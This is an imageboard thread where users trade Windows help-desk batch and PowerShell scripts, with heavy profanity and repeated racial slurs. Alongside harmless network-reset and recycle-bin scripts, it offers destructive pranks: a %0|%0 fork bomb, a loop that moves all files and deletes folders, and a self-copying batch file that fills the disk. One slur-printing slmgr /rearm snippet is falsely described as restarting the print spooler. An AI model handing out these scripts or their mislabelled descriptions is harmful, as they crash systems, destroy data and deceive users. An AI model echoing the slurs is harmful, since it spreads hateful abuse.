Handy Dandy Script-a-roonie!

Sup, Sup Forums!
What's in your handy dandy help desk script folder?

what that do?

%0|%0

FUCKING PRINTERS

echo "NIGGERNIGGERNIGGER"
slmgr /rearm

Restarts the print spooler. 9/10 this will fix print issues and you can hand this out to avoid call backs.

@echo off
set /p nameofhost=Input Host:
set /p nameofport=Input Port:
:a
nc -z -v %nameofhost% %nameofport%
timeout /t 2
goto a

`nc` is not recognized as an internal or external command,
operable program or batch file.

@echo off

setlocal EnableDelayedExpansion

for /R %%x in (*.*) DO (
move "%%x" "%%x"/../..
)

for /F %%i in ('dir /b "%cd%\*.*"') DO (
for /D %%d in (*) do rd "%%~d"
)

I'm getting flashbacks of corrupt printer drivers who's making the spooler shut down every time.

Fuck Windows.

>9/10 this will fix print issues
What kind of retarded print issues do you have?
At my shop, the dumb fuckers replaced printers with different models and kept the same fucking hostnames because "that way no one has to change printers." We had to manually go to every fucking computer and remove the printer driver folder because Ricoh's shitty fucking drivers made the spooler crash when you tried to do anything printer related.

why are your users using the local spooler instead of rendering print jobs directly on the printserver?

DONT DO THIS IT MAKES MUSTARD GAS

You owe me a new coffee, as I just spit mine out.

>corrupt printer drivers
>fuck windows
jej

also
>*nix
>drivers

ipconfig /release
pause
ipconfig /renew
pause
netsh winsock reset catalog
pause
netsh int ip reset reset.log
pause


Sometimes my network driver goes crazy and I get DPC latencies of 8ms-30ms, every time a program does some networking. This script helps.

Noob question here,
Where do you put these scripts to execute them?

Anywhere

@echo off
set total=137
set amount=263
:percentcalc
cls
set /a amount+=1
set /a percent=(amount*100)/total
echo [%amount%/%total%] [%percent%%%]
title [%amount%/%total%] [%percent%%%]
goto percentcalc
:end
echo.
echo Done.
pause > nul
exit

>9/10 this will fix print issues
I would agree until I got that 1/10.

Why are you using scripts, it's like you want to lose your job.

foreach($drive in gdr -psprovider filesystem){
try{
gci "$($drive.name):\`$Recycle.Bin" -force -recurse -erroraction silentlycontinue|
?{$_.lastwritetime -lt (get-date).adddays(-2)}|
rm -recurse
}catch{}
}
Removes files that are older than 2 days from recycle bin

>starts a number as 263
>shows how much it is as a % compared to 137
>adds 1 to number
>over and over
For what fucking purpose?

save as fuk.bat
@echo off
:1:
copy fuk.bat nigr%random%.dll
goto :1:

Add this to macinit.bat
CD=echo off$tcd $*$ttitle %CD%$techo on
POPD=echo off$tpopd $*$ttitle %CD%$techo on
PUSHD=echo off$tpushd $*$ttitle %CD%$techo on

A:=echo off$tA:$ttitle %CD%$techo on
B:=echo off$tB:$ttitle %CD%$techo on
...
Z:=echo off$tZ:$ttitle %CD%$techo on


Then add this to your cmdinit.bat
doskey /macrofile=%UserProfile%\macinit.ini

Now your command prompts are titled after their current directories.